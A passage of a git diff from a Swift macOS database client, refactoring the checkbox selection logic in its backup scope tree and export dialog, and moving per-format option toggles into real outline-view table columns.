+        let targets = selection.filter { row in
+            guard case .object(_, let database) = row else { return true }
+            return !databases.contains(database)
+        }
+        let turningOn = targets.contains { target in
+            switch target {
+            case .database(let name):
+                return rows.first { $0.name == name }.map { !$0.isSelected || $0.isMixed } ?? false
+            case .object(let id, let database):
+                return rows.first { $0.name == database }?.objects.first { $0.id == id }.map { !$0.isSelected } ?? false
+            }
+        }
+        return targets.reduce(rows) { rows, target in
+            switch target {
+            case .database(let name):
+                return settingDatabase(name, selected: turningOn, in: rows)
+            case .object(let id, let database):
+                return settingObject(id, in: database, selected: turningOn, rows: rows)
+            }
+        }
+    }
+
     /// Ticking a mixed database means "all of it", which is the state a user reaches by unticking
     /// a few tables and then changing their mind.
     static func togglingDatabase(
         _ database: String,
         in rows: [DatabaseRow]
+    ) -> [DatabaseRow] {
+        guard let row = rows.first(where: { $0.name == database }) else { return rows }
+        return settingDatabase(database, selected: !row.isSelected || row.isMixed, in: rows)
+    }
+
+    static func settingDatabase(
+        _ database: String,
+        selected: Bool,
+        in rows: [DatabaseRow]
     ) -> [DatabaseRow] {
         var rows = rows
         guard let index = rows.firstIndex(where: { $0.name == database }) else { return rows }
-        let turningOn = !rows[index].isSelected || rows[index].isMixed
-        rows[index].isSelected = turningOn
+        rows[index].isSelected = selected
         for objectIndex in rows[index].objects.indices {
-            rows[index].objects[objectIndex].isSelected = turningOn
+            rows[index].objects[objectIndex].isSelected = selected
         }
         return rows
     }
 
+    static func togglingObject(
+        _ id: String,
+        in database: String,
+        rows: [DatabaseRow]
+    ) -> [DatabaseRow] {
+        guard let object = rows.first(where: { $0.name == database })?.objects.first(where: { $0.id == id })
+        else { return rows }
+        return settingObject(id, in: database, selected: !object.isSelected, rows: rows)
+    }
+
     /// Unticking the last object is a decision to leave the database out, not a decision to back it
     /// up empty. Ticking one again brings the database back carrying only that object.
-    static func togglingObject(
+    static func settingObject(
         _ id: String,
         in database: String,
+        selected: Bool,
         rows: [DatabaseRow]
     ) -> [DatabaseRow] {
         var rows = rows
         guard let index = rows.firstIndex(where: { $0.name == database }) else { return rows }
         guard let objectIndex = rows[index].objects.firstIndex(where: { $0.id == id }) else { return rows }
-        rows[index].objects[objectIndex].isSelected.toggle()
+        rows[index].objects[objectIndex].isSelected = selected
         rows[index].isSelected = rows[index].objects.contains(where: \.isSelected)
         return rows
     }
diff --git a/apple/TablePro/Views/Backup/BackupScopeTreeView.swift b/apple/TablePro/Views/Backup/BackupScopeTreeView.swift
index aee2d5036e..9625427c75 100644
--- a/apple/TablePro/Views/Backup/BackupScopeTreeView.swift
+++ b/apple/TablePro/Views/Backup/BackupScopeTreeView.swift
@@ -25,6 +25,8 @@ internal struct BackupScopeTreeView: NSViewRepresentable {
         let outlineView = CheckboxOutlineView()
         outlineView.headerView = nil
         outlineView.style = .plain
+        // The default style left the column 14 pt wider than the clip view, so a swipe slid the rows sideways.
+        outlineView.columnAutoresizingStyle = .firstColumnOnlyAutoresizingStyle
         outlineView.rowSizeStyle = .custom
         outlineView.rowHeight = 24
         outlineView.allowsMultipleSelection = true
@@ -335,16 +337,14 @@ internal final class BackupScopeTreeCoordinator: NSObject, NSOutlineViewDataSour
 
     internal func toggleSelectedRows() {
         guard let outlineView else { return }
-        for index in outlineView.selectedRowIndexes {
-            guard let node = outlineView.item(atRow: index) as? BackupScopeNode else { continue }
+        let selection = outlineView.selectedRowIndexes.compactMap { index -> BackupScopeModel.Row? in
+            guard let node = outlineView.item(atRow: index) as? BackupScopeNode else { return nil }
             switch node.kind {
-            case .database(let name):
-                model.toggleDatabase(name)
-            case .object(let database, let id):
-                model.toggleObject(id, in: database)
-            case .placeholder:
-                continue
+            case .database(let name): return .database(name)
+            case .object(let database, let id): return .object(id, database: database)
+            case .placeholder: return nil
             }
         }
+        model.toggle(selection)
     }
 }
diff --git a/apple/TablePro/Views/Components/CheckboxOutlineView.swift b/apple/TablePro/Views/Components/CheckboxOutlineView.swift
index 2fea752bed..62c298fe58 100644
--- a/apple/TablePro/Views/Components/CheckboxOutlineView.swift
+++ b/apple/TablePro/Views/Components/CheckboxOutlineView.swift
@@ -53,3 +53,47 @@ internal final class HostingTableCellView: NSTableCellView {
         hosting.rootView = content
     }
 }
+
+internal final class CheckboxTableCellView: NSTableCellView {
+    private let checkbox = NSButton(checkboxWithTitle: "", target: nil, action: nil)
+    private var modelState: NSControl.StateValue = .off
+    private var action: (() -> Void)?
+
+    internal init(identifier: NSUserInterfaceItemIdentifier) {
+        super.init(frame: .zero)
+        self.identifier = identifier
+        checkbox.target = self
+        checkbox.action = #selector(clicked(_:))
+        checkbox.translatesAutoresizingMaskIntoConstraints = false
+        addSubview(checkbox)
+        NSLayoutConstraint.activate([
+            checkbox.centerXAnchor.constraint(equalTo: centerXAnchor),
+            checkbox.centerYAnchor.constraint(equalTo: centerYAnchor)
+        ])
+    }
+
+    @available(*, unavailable)
+    internal required init?(coder: NSCoder) {
+        fatalError("init(coder:) has not been implemented")
+    }
+
+    internal func configure(
+        state: NSControl.StateValue,
+        isEnabled: Bool,
+        accessibilityLabel: String,
+        action: @escaping () -> Void
+    ) {
+        modelState = state
+        self.action = action
+        checkbox.allowsMixedState = state == .mixed
+        checkbox.state = state
+        checkbox.isEnabled = isEnabled
+        checkbox.setAccessibilityLabel(accessibilityLabel)
+    }
+
+    // AppKit already moved the box to its next state; the action decides the real one.
+    @objc private func clicked(_ sender: NSButton) {
+        sender.state = modelState
+        action?()
+    }
+}
diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
index 7cf0d9684e..460f472702 100644
--- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
@@ -71,6 +71,11 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
     }
 
     func scheduleEditorFocusClaim() {
+        // Query tabs share one editor, which installs only once, so a later tab's claim is taken here.
+        if hasInstalledEditorServices, !isDestroyed, let textView = controller?.textView, let window = textView.window {
+            window.makeFirstResponder(textView)
+            return
+        }
         focusClaimPending = true
     }
 
diff --git a/apple/TablePro/Views/Export/ExportDialog.swift b/apple/TablePro/Views/Export/ExportDialog.swift
index be3031f153..b23a834de8 100644
--- a/apple/TablePro/Views/Export/ExportDialog.swift
+++ b/apple/TablePro/Views/Export/ExportDialog.swift
@@ -30,6 +30,7 @@ struct ExportDialog: View {
     /// Which object kinds the last load actually read, so a format switch knows whether the tree it
     /// already holds can answer for the new format without another round trip.
     @State private var loadedObjectKinds: Set<PluginExportObjectKind> = []
+    @State private var formatReconciliation: Task<Void, Never>?
 
     /// Bumped each time a reload replaces the tree, so a container read started against the old
     /// tree cannot land in the new one.
@@ -159,10 +160,6 @@ struct ExportDialog: View {
                 restoreSettingsSnapshot()
             }
         }
-        .onChange(of: config.formatId) { _ in
-            resetOptionValues()
-            Task { await reconcileObjectKindsForFormat() }
-        }
         .onExitCommand {
             if !isExporting {
                 isPresented = false
@@ -238,7 +235,7 @@ struct ExportDialog: View {
             get: { config.formatId },
             set: { newValue in
                 guard let format = formatsToOffer.first(where: { Self.offerTag(for: $0) == newValue }) else {
-                    config.formatId = newValue
+                    selectFormat(newValue)
                     return
                 }
                 Task { await installOfferedFormat(format) }
@@ -254,16 +251,30 @@ struct ExportDialog: View {
         if let settable = plugin as? any SettablePluginDiscoverable {
             settingsSnapshot?.include(settable)
         }
-        config.formatId = format.formatId
+        selectFormat(format.formatId)
     }
 
-    private var currentOptionColumnCount: Int {
-        guard let plugin = currentPlugin else { return 0 }
-        return type(of: plugin).perTableOptionColumns.count
+    // One path for every format change, so a profile can wait for the reset and reload instead of racing it.
+    @discardableResult
+    private func selectFormat(_ formatId: String) -> Task<Void, Never>? {
+        guard formatId != config.formatId else { return formatReconciliation }
+        config.formatId = formatId
+        resetOptionValues()
+        let reconciliation = Task { await reconcileObjectKindsForFormat() }
+        formatReconciliation = reconciliation
+        return reconciliation
     }
 
-    private var currentDefaultOptionValues: [Bool] {
-        currentPlugin?.defaultTableOptionValues() ?? []
+    private var optionLayout: ExportOptionLayout {
+        guard let plugin = currentPlugin else { return .none }
+        let pluginType = type(of: plugin)
+        return ExportOptionLayout(
+            columns: pluginType.perTableOptionColumns,
+            defaultValues: plugin.defaultTableOptionValues(),
+            readsRows: !ExportFormatCatalog.writesStructureOnly(plugin)
+        ) { columnId, kind in
+            pluginType.supportsOption(columnId: columnId, for: kind)
+        }
     }
 
     // MARK: - Layout Constants
@@ -293,15 +304,6 @@ struct ExportDialog: View {
                 profileMenu
 
                 Spacer()
-
-                if let plugin = currentPlugin {
-                    ForEach(type(of: plugin).perTableOptionColumns) { column in
-                        Text(column.label)
-                            .font(.subheadline.weight(.medium))
-                            .foregroundStyle(.secondary)
-                            .frame(width: column.width, alignment: .center)
-                    }
-                }
             }
             .padding(.horizontal, 12)
             .padding(.vertical, 10)
@@ -336,6 +338,7 @@ struct ExportDialog: View {
                 ExportObjectTreeView(
                     databaseItems: $databaseItems,
                     formatId: config.formatId,
+                    options: optionLayout,
                     databaseType: databaseType,
                     loadColumns: { await columnNames(for: $0) },
                     onNeedsObjects: { databaseID in
@@ -418,18 +421,19 @@ struct ExportDialog: View {
     private func applyProfile(_ profile: ExportProfile) async {
         profileApplication &+= 1
         let application = profileApplication
+        let reconcile = availableFormatIds.contains(profile.formatId)
+            ? selectFormat(profile.formatId)
+            : formatReconciliation
+        let formatId = config.formatId
+        await reconcile?.value
         let named = Set(profile.entries.map(\.container))
         for item in databaseItems where item.hasUnloadedObjects && named.contains(item.name) {
+            guard application == profileApplication else { return }
             await loadUnloadedObjects(databaseID: item.id)
         }
-        // A profile picked while this one waited for its reads is the user's latest choice.
-        guard application == profileApplication else { return }
-        if availableFormatIds.contains(profile.formatId) {
-            config.formatId = profile.formatId
-        }
-        databaseItems = normalizedForCurrentFormat(
-            ExportProfileStorage.apply(profile, to: databaseItems)
-                .clearingRowScopes(unavailableOn: databaseType))
+        // A profile or a format picked while this one waited for its reads is the user's latest choice.
+        guard application == profileApplication, formatId == config.formatId else { return }
+        databaseItems = databaseItems.applyingProfile(profile, layout: optionLayout, databaseType: databaseType)
     }
 
     private func saveProfile() {
@@ -653,33 +657,24 @@ struct ExportDialog: View {
     @MainActor
     private func reconcileObjectKindsForFormat() async {
         guard case .tables(let connection, _) = mode else { return }
-        let wanted = supportedObjectKinds
-        guard !loadedObjectKinds.isEmpty else { return }
-        guard wanted.isSubset(of: loadedObjectKinds) else {
-            await loadDatabaseItems(of: connection)
+        switch ExportKindReconciliation.next(loadedKinds: loadedObjectKinds, wanted: supportedObjectKinds) {
+        case .unchanged:
             return
+        case .narrowed(let kinds):
+            databaseItems = databaseItems.narrowed(to: kinds)
+            loadedObjectKinds = kinds
+        case .reload:
+            await loadDatabaseItems(of: connection)
         }
-        databaseItems = databaseItems.narrowed(to: wanted)
     }
 
     private func resetOptionValues() {
         databaseItems = normalizedForCurrentFormat(
-            databaseItems.resettingOptionValues(to: currentDefaultOptionValues))
+            databaseItems.resettingOptionValues(to: optionLayout.defaultValues))
     }
 
-    /// Aligns every row's option values with the chosen format's columns and clears the ones the
-    /// row's kind does not support, so a routine never carries a `Data` flag that would count it as
-    /// exportable for a phase it has no rows for.
     private func normalizedForCurrentFormat(_ items: [ExportDatabaseItem]) -> [ExportDatabaseItem] {
-        let normalized = items.normalizingOptionValues(
-            optionColumnCount: currentOptionColumnCount,
-            defaultOptionValues: currentDefaultOptionValues
-        )
-        guard let plugin = currentPlugin else { return normalized }
-        let pluginType = type(of: plugin)
-        return normalized.maskingUnsupportedOptions(columns: pluginType.perTableOptionColumns) { columnId, kind in
-            pluginType.supportsOption(columnId: columnId, for: kind)
-        }
+        items.normalized(for: optionLayout)
     }
 
     // MARK: - Actions
@@ -769,13 +764,18 @@ struct ExportDialog: View {
     @MainActor
     private func loadDatabaseItems(of connection: DatabaseConnection) async {
         let priorRows = ExportTreeBuilder.snapshots(of: databaseItems)
+        let kinds = supportedObjectKinds
         do {
             let items = try await treeBuilder(for: connection).build(priorRows: priorRows)
-            loadedObjectKinds = supportedObjectKinds
+            loadedObjectKinds = kinds
             treeGeneration += 1
             databaseItems = normalizedForCurrentFormat(items.adoptingIdentities(of: databaseItems))
             isLoading = false
             applyDefaultFileName(for: connection)
+            // The format changed while this read ran, and its reconcile had no tree to work on yet.
+            if kinds != supportedObjectKinds {
+                await reconcileObjectKindsForFormat()
+            }
         } catch is CancellationError {
             isLoading = false
         } catch {
@@ -845,12 +845,11 @@ struct ExportDialog: View {
         guard generation == treeGeneration,
               let index = databaseItems.firstIndex(where: { $0.id == databaseID })
         else { return }
-        let merged = databaseItems[index].mergingLoadedObjects(loaded)
-        guard !merged.objects.isEmpty, let normalized = normalizedForCurrentFormat([merged]).first else {
+        guard let merged = databaseItems[index].mergingLoadedObjects(loaded, layout: optionLayout) else {
             databaseItems.remove(at: index)
             return
         }
-        databaseItems[index] = normalized
+        databaseItems[index] = merged
     }
 
     private func applyDefaultFileName(for connection: DatabaseConnection) {
diff --git a/apple/TablePro/Views/Export/ExportObjectRows.swift b/apple/TablePro/Views/Export/ExportObjectRows.swift
index 05c1658dc4..bef475a196 100644
--- a/apple/TablePro/Views/Export/ExportObjectRows.swift
+++ b/apple/TablePro/Views/Export/ExportObjectRows.swift
@@ -95,16 +95,11 @@ internal struct ExportTreeContainerRow: View {
     }
 }
 
-/// One object row. The option toggles stay positionally aligned with the format's full column list
-/// for every kind, so a column this kind does not support leaves an empty slot of the same width
-/// rather than shifting the ones after it.
+// The checkbox only includes or excludes the object; what it writes is in the option columns.
 internal struct ExportTreeObjectRow: View {
     internal let object: ExportObjectItem
     internal let offersRowScope: Bool
-    internal let optionColumns: [PluginExportOptionColumn]
-    internal let supportsOption: (String, PluginExportObjectKind) -> Bool
-    internal let setSelected: (Bool) -> Void
-    internal let setOption: (Int, Bool) -> Void
+    internal let toggle: () -> Void
     internal let setRowScope: (PluginExportRowScope) -> Void
     internal let loadColumns: () async -> [String]
 
@@ -114,21 +109,10 @@ internal struct ExportTreeObjectRow: View {
 
     internal var body: some View {
         HStack(spacing: 4) {
-            if optionColumns.isEmpty {
-                Toggle(object.name, isOn: Binding(get: { object.isSelected }, set: setSelected))
-                    .toggleStyle(.checkbox)
-                    .labelsHidden()
-                    .frame(width: 18)
-            } else {
-                TristateCheckbox(
-                    state: checkboxState,
-                    accessibilityLabel: object.name,
-                    accessibilityValue: ExportObjectKindPresentation.checkboxValue(for: checkboxState)
-                ) {
-                    setSelected(checkboxState != .checked)
-                }
+            Toggle(object.name, isOn: Binding(get: { object.isSelected }, set: { _ in toggle() }))
+                .toggleStyle(.checkbox)
+                .labelsHidden()
                 .frame(width: 18)
-            }
 
             Image(systemName: ExportObjectKindPresentation.iconName(for: object.kind))
                 .foregroundStyle(ExportObjectKindPresentation.iconColor(for: object.kind))
@@ -153,12 +137,6 @@ internal struct ExportTreeObjectRow: View {
             if offersRowScope {
                 rowScopeButton
             }
-
-            if !optionColumns.isEmpty {
-                ForEach(Array(optionColumns.enumerated()), id: \.element.id) { index, column in
-                    optionToggle(index: index, column: column)
-                }
-            }
         }
     }
 
@@ -195,31 +173,4 @@ internal struct ExportTreeObjectRow: View {
             }
         }
     }
-
-    @ViewBuilder
-    private func optionToggle(index: Int, column: PluginExportOptionColumn) -> some View {
-        if supportsOption(column.id, object.kind) {
-            Toggle(column.label, isOn: Binding(
-                get: { object.optionValues[safe: index] ?? column.defaultValue },
-                set: { setOption(index, $0) }
-            ))
-            .toggleStyle(.checkbox)
-            .labelsHidden()
-            .disabled(!object.isSelected)
-            .frame(width: column.width, alignment: .center)
-        } else {
-            Color.clear.frame(width: column.width, height: 1)
-        }
-    }
-
-    private var checkboxState: TristateCheckbox.State {
-        guard object.isSelected else { return .unchecked }
-        let supported = optionColumns.indices.filter {
-            supportsOption(optionColumns[$0].id, object.kind)
-        }
-        guard !supported.isEmpty else { return .checked }
-        let onCount = supported.count { object.optionValues[safe: $0] == true }
-        if onCount == 0 { return .unchecked }
-        return onCount == supported.count ? .checked : .mixed
-    }
 }
diff --git a/apple/TablePro/Views/Export/ExportObjectTreeView.swift b/apple/TablePro/Views/Export/ExportObjectTreeView.swift
index 31ac4afeaf..a2129390d7 100644
--- a/apple/TablePro/Views/Export/ExportObjectTreeView.swift
+++ b/apple/TablePro/Views/Export/ExportObjectTreeView.swift
@@ -14,9 +14,13 @@ import TableProPluginKit
 /// bindings are re-driven during an animated outline diff. That is the same Apple bug the
 /// connection sidebar's database tree hit, and the same answer: `NSOutlineView`, which also gives
 /// genuinely lazy children for a database holding thousands of objects.
+///
+/// Option columns are real table columns, so each heading sits over its checkboxes whatever the
+/// scroller style.
 internal struct ExportObjectTreeView: NSViewRepresentable {
     @Binding internal var databaseItems: [ExportDatabaseItem]
     internal let formatId: String
+    internal let options: ExportOptionLayout
     internal let databaseType: DatabaseType
 
     /// Reads one object's column names for the row-scope popover. Supplied by the dialog, which is
@@ -34,6 +38,9 @@ internal struct ExportObjectTreeView: NSViewRepresentable {
         let outlineView = CheckboxOutlineView()
         outlineView.headerView = nil
         outlineView.style = .plain
+        outlineView.columnAutoresizingStyle = .firstColumnOnlyAutoresizingStyle
+        outlineView.intercellSpacing = NSSize(width: 4, height: 0)
+        outlineView.allowsColumnReordering = false
         outlineView.rowSizeStyle = .custom
         outlineView.rowHeight = 24
         outlineView.allowsMultipleSelection = true
@@ -48,7 +55,8 @@ internal struct ExportObjectTreeView: NSViewRepresentable {
         }
         outlineView.setAccessibilityLabel(String(localized: "Objects to export"))
 
-        let column = NSTableColumn(identifier: NSUserInterfaceItemIdentifier("ExportObjectColumn"))
+        let column = NSTableColumn(identifier: ExportObjectTreeCoordinator.nameColumn)
+        column.title = String(localized: "Name")
         column.resizingMask = .autoresizingMask
         outlineView.addTableColumn(column)
         outlineView.outlineTableColumn = column
@@ -71,8 +79,14 @@ internal struct ExportObjectTreeView: NSViewRepresentable {
     }
 }
 
+fileprivate extension NSUserInterfaceItemIdentifier {
+    static let exportOptionCell = NSUserInterfaceItemIdentifier("ExportOptionCell")
+}
+
 @MainActor
 internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSource, NSOutlineViewDelegate {
+    internal static let nameColumn = NSUserInterfaceItemIdentifier("ExportObjectColumn")
+
     internal var owner: ExportObjectTreeView
 
     private weak var outlineView: NSOutlineView?
@@ -105,6 +119,9 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         let formatChanged = formatId != self.formatId
         self.databases = databases
         self.formatId = formatId
+        if formatChanged {
+            syncOptionColumns()
+        }
 
         guard fingerprint != shapeFingerprint else {
             guard formatChanged else {
@@ -135,7 +152,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         guard let identities = pendingReloadIdentities else {
             let rows = IndexSet(integersIn: 0 ..< outlineView.numberOfRows)
             guard !rows.isEmpty else { return }
-            outlineView.reloadData(forRowIndexes: rows, columnIndexes: IndexSet(integer: 0))
+            outlineView.reloadData(forRowIndexes: rows, columnIndexes: allColumns(of: outlineView))
             return
         }
         pendingReloadIdentities = nil
@@ -147,7 +164,41 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
             rows.insert(row)
         }
         guard !rows.isEmpty else { return }
-        outlineView.reloadData(forRowIndexes: rows, columnIndexes: IndexSet(integer: 0))
+        outlineView.reloadData(forRowIndexes: rows, columnIndexes: allColumns(of: outlineView))
+    }
+
+    private func allColumns(of outlineView: NSOutlineView) -> IndexSet {
+        IndexSet(integersIn: 0 ..< outlineView.numberOfColumns)
+    }
+
+    // As wide as the plugin asks or the translated heading needs.
+    private func syncOptionColumns() {
+        guard let outlineView else { return }
+        for column in outlineView.tableColumns where column.identifier != Self.nameColumn {
+            outlineView.removeTableColumn(column)
+        }
+        let options = owner.options.columns
+        outlineView.headerView = options.isEmpty ? nil : NSTableHeaderView()
+        for (index, option) in options.enumerated() {
+            let column = NSTableColumn(
+                identifier: NSUserInterfaceItemIdentifier("ExportOptionColumn.\(index).\(option.id)")
+            )
+            column.title = option.label
+            column.headerCell.alignment = NSTextAlignment.center
+            let width = max(option.width, ceil(column.headerCell.cellSize.width) + 8)
+            column.width = width
+            column.minWidth = width
+            column.maxWidth = width
+            column.resizingMask = []
+            outlineView.addTableColumn(column)
+        }
+    }
+
+    private func optionIndex(of tableColumn: NSTableColumn?) -> Int? {
+        guard let tableColumn else { return nil }
+        let parts = tableColumn.identifier.rawValue.split(separator: ".")
+        guard parts.count >= 2, parts[0] == "ExportOptionColumn", let index = Int(parts[1]) else { return nil }
+        return owner.options.columns.indices.contains(index) ? index : nil
     }
 
     /// What the builder opened, read once per container when the tree first meets it, so a reload
@@ -238,22 +289,34 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         return false
     }
 
-    /// Space toggles every selected row, which is what the checkbox in each of them does on a
-    /// click. A container row toggles everything beneath it, exactly as clicking its checkbox does.
+    // One direction for every row: on unless every target is already checked.
     internal func toggleSelectedRows() {
         guard let outlineView else { return }
-        let nodes = outlineView.selectedRowIndexes.compactMap {
+        let selected = outlineView.selectedRowIndexes.compactMap {
             outlineView.item(atRow: $0) as? ExportOutlineNode
         }
-        guard !nodes.isEmpty else { return }
-        for node in nodes {
+        // The rows a click could change, minus any row under another of them: toggling both flipped it back.
+        let actionable = selected.filter { node in
+            if case .pending = node.kind { return false }
+            return selectionIsEnabled(for: node)
+        }
+        let identities = Set(actionable.map(\.identity))
+        let targets = actionable.filter { node in
+            var parent = outlineView.parent(forItem: node) as? ExportOutlineNode
+            while let ancestor = parent {
+                if identities.contains(ancestor.identity) { return false }
+                parent = outlineView.parent(forItem: ancestor) as? ExportOutlineNode
+            }
+            return true
+        }
+        guard !targets.isEmpty else { return }
+        let turningOn = targets.contains { selectionState(for: $0) != .checked }
+        for node in targets {
             switch node.kind {
             case .database, .group:
-                toggleContainer(node)
+                setContainer(node, selected: turningOn)
             case .object(let databaseID, let objectID):
-                let isSelected = databases.first(where: { $0.id == databaseID })?
-                    .objects.first(where: { $0.id == objectID })?.isSelected ?? false
-                setSelection(!isSelected, databaseID: databaseID, objectID: objectID)
+                setSelection(turningOn, databaseID: databaseID, objectID: objectID)
             case .pending:
                 continue
             }
@@ -279,6 +342,9 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         item: Any
     ) -> NSView? {
         guard let node = item as? ExportOutlineNode else { return nil }
+        if let index = optionIndex(of: tableColumn) {
+            return optionCell(column: index, node: node, in: outlineView)
+        }
         let identifier = NSUserInterfaceItemIdentifier("ExportObjectRow")
         let cell = outlineView.makeView(withIdentifier: identifier, owner: self) as? HostingTableCellView
             ?? HostingTableCellView(identifier: identifier)
@@ -308,6 +374,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
                     state: containerState(for: node),
                     toggle: { [weak self] in self?.toggleContainer(node) }
                 )
+                .disabled(!selectionIsEnabled(for: node))
             )
         case .group(_, let objectKind):
             return AnyView(
@@ -318,6 +385,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
                     state: containerState(for: node),
                     toggle: { [weak self] in self?.toggleContainer(node) }
                 )
+                .disabled(!selectionIsEnabled(for: node))
             )
         case .object(let databaseID, let objectID):
             guard let databaseIndex = databases.firstIndex(where: { $0.id == databaseID }),
@@ -329,14 +397,9 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
             return AnyView(
                 ExportTreeObjectRow(
                     object: object,
-                    offersRowScope: object.offersRowScope(on: owner.databaseType) && formatReadsRows,
-                    optionColumns: optionColumns,
-                    supportsOption: supportsOption,
-                    setSelected: { [weak self] isSelected in
-                        self?.setSelection(isSelected, databaseID: databaseID, objectID: objectID)
-                    },
-                    setOption: { [weak self] index, value in
-                        self?.setOption(index, to: value, databaseID: databaseID, objectID: objectID)
+                    offersRowScope: object.offersRowScope(on: owner.databaseType) && owner.options.readsRows,
+                    toggle: { [weak self] in
+                        self?.toggleObject(databaseID: databaseID, objectID: objectID)
                     },
                     setRowScope: { [weak self] scope in
                         self?.setRowScope(scope, databaseID: databaseID, objectID: objectID)
@@ -360,30 +423,6 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
 
     // MARK: - Selection
 
-    private var plugin: (any ExportFormatPlugin)? {
-        PluginManager.shared.exportPlugin(forFormat: formatId)
-    }
-
-    // A format that writes structure alone ignores a row scope, so it offers none.
-    private var formatReadsRows: Bool {
-        plugin.map { !ExportFormatCatalog.writesStructureOnly($0) } ?? true
-    }
-
-    private var optionColumns: [PluginExportOptionColumn] {
-        guard let plugin else { return [] }
-        return type(of: plugin).perTableOptionColumns
-    }
-
-    private var defaultOptionValues: [Bool] {
-        plugin?.defaultTableOptionValues() ?? []
-    }
-
-    private var supportsOption: (String, PluginExportObjectKind) -> Bool {
-        guard let plugin else { return { _, _ in true } }
-        let pluginType = type(of: plugin)
-        return { columnId, kind in pluginType.supportsOption(columnId: columnId, for: kind) }
-    }
-
     private func objects(under node: ExportOutlineNode) -> [ExportObjectItem] {
         switch node.kind {
         case .database(let databaseID):
@@ -408,8 +447,21 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         return database
     }
 
-    private func containerState(for node: ExportOutlineNode) -> TristateCheckbox.State {
+    // An object a column checkbox turned all off stays out of a tick, or click order would decide the dump.
+    private func selectableObjects(under node: ExportOutlineNode) -> [ExportObjectItem] {
+        objects(under: node).filter(owner.options.writesSomething)
+    }
+
+    // A container where every loaded object writes nothing and no unread kind can arrive: a tick would
+    // select nothing. An object row stays enabled, since ticking it restores the format's defaults.
+    internal func selectionIsEnabled(for node: ExportOutlineNode) -> Bool {
+        if case .object = node.kind { return true }
         let items = objects(under: node)
+        return items.isEmpty || unloadedDatabase(at: node) != nil || items.contains(where: owner.options.writesSomething)
+    }
+
+    internal func containerState(for node: ExportOutlineNode) -> TristateCheckbox.State {
+        let items = selectableObjects(under: node)
         guard !items.isEmpty else {
             return unloadedDatabase(at: node)?.selectsLoadedObjects == true ? .checked : .unchecked
         }
@@ -418,14 +470,24 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         return selected == items.count ? .checked : .mixed
     }
 
+    private func selectionState(for node: ExportOutlineNode) -> TristateCheckbox.State {
+        guard case .object(let databaseID, let objectID) = node.kind else { return containerState(for: node) }
+        return object(databaseID: databaseID, objectID: objectID)?.isSelected == true ? .checked : .unchecked
+    }
+
+    private func object(databaseID: UUID, objectID: UUID) -> ExportObjectItem? {
+        databases.first(where: { $0.id == databaseID })?.objects.first(where: { $0.id == objectID })
+    }
+
+    private func toggleContainer(_ node: ExportOutlineNode) {
+        setContainer(node, selected: containerState(for: node) != .checked)
+    }
+
     /// Ticking a container whose kinds are not all read yet also asks for them, and they arrive
     /// selected unless something in it is unticked first.
-    private func toggleContainer(_ node: ExportOutlineNode) {
-        let items = objects(under: node)
+    private func setContainer(_ node: ExportOutlineNode, selected turningOn: Bool) {
+        let items = turningOn ? selectableObjects(under: node) : objects(under: node)
         let unloaded = unloadedDatabase(at: node)
-        let turningOn = items.isEmpty
-            ? !(unloaded?.selectsLoadedObjects ?? true)
-            : items.contains { !$0.isSelected }
         let ids = Set(items.map(\.id))
         var reloading: Set<String> = []
         if let unloaded { reloading.insert("db:\(unloaded.id.uuidString)") }
@@ -447,6 +509,95 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
         normalizeOptions(for: ids)
     }
 
+    internal func toggleObject(databaseID: UUID, objectID: UUID) {
+        guard let object = object(databaseID: databaseID, objectID: objectID) else { return }
+        setSelection(!object.isSelected, databaseID: databaseID, objectID: objectID)
+    }
+
+    // MARK: - Option columns
+
+    private func optionCell(column index: Int, node: ExportOutlineNode, in outlineView: NSOutlineView) -> NSView? {
+        let label = owner.options.columns[index].label
+        let state: NSControl.StateValue
+        let isEnabled: Bool
+        let title: String
+        let action: () -> Void
+        switch node.kind {
+        case .database, .group:
+            guard let containerState = optionState(ofColumn: index, under: node) else { return nil }
+            state = containerState
+            isEnabled = true
+            title = containerTitle(of: node)
+            action = { [weak self] in self?.toggleOption(index, under: node) }
+        case .object(let databaseID, let objectID):
+            guard let object = object(databaseID: databaseID, objectID: objectID),
+                  owner.options.supports(columnAt: index, kind: object.kind)
+            else { return nil }
+            let isOn = object.optionValues[safe: index] ?? owner.options.columns[index].defaultValue
+            state = isOn ? .on : .off
+            isEnabled = object.isSelected
+            title = object.name
+            action = { [weak self] in
+                self?.setOption(index, to: !isOn, databaseID: databaseID, objectID: objectID)
+            }
+        case .pending:
+            return nil
+        }
+        let cell = outlineView.makeView(withIdentifier: .exportOptionCell, owner: self) as? CheckboxTableCellView
+            ?? CheckboxTableCellView(identifier: .exportOptionCell)
+        cell.configure(
+            state: state,
+            isEnabled: isEnabled,
+            accessibilityLabel: String(format: String(localized: "%1$@ for %2$@"), label, title),
+            action: action
+        )
+        return cell
+    }
+
+    private func containerTitle(of node: ExportOutlineNode) -> String {
+        switch node.kind {
+        case .database(let databaseID):
+            return databases.first(where: { $0.id == databaseID })?.name ?? ""
+        case .group(_, let objectKind):
+            return ExportObjectKindPresentation.groupTitle(for: objectKind)
+        case .object, .pending:
+            return ""
+        }
+    }
+
+    private func optionValues(ofColumn index: Int, under node: ExportOutlineNode) -> [Bool] {
+        let unloaded = unloadedDatabase(at: node)
+        return owner.options.values(
+            ofColumn: index,
+            in: objects(under: node),
+            unloadedKinds: unloaded?.unloadedKinds ?? [],
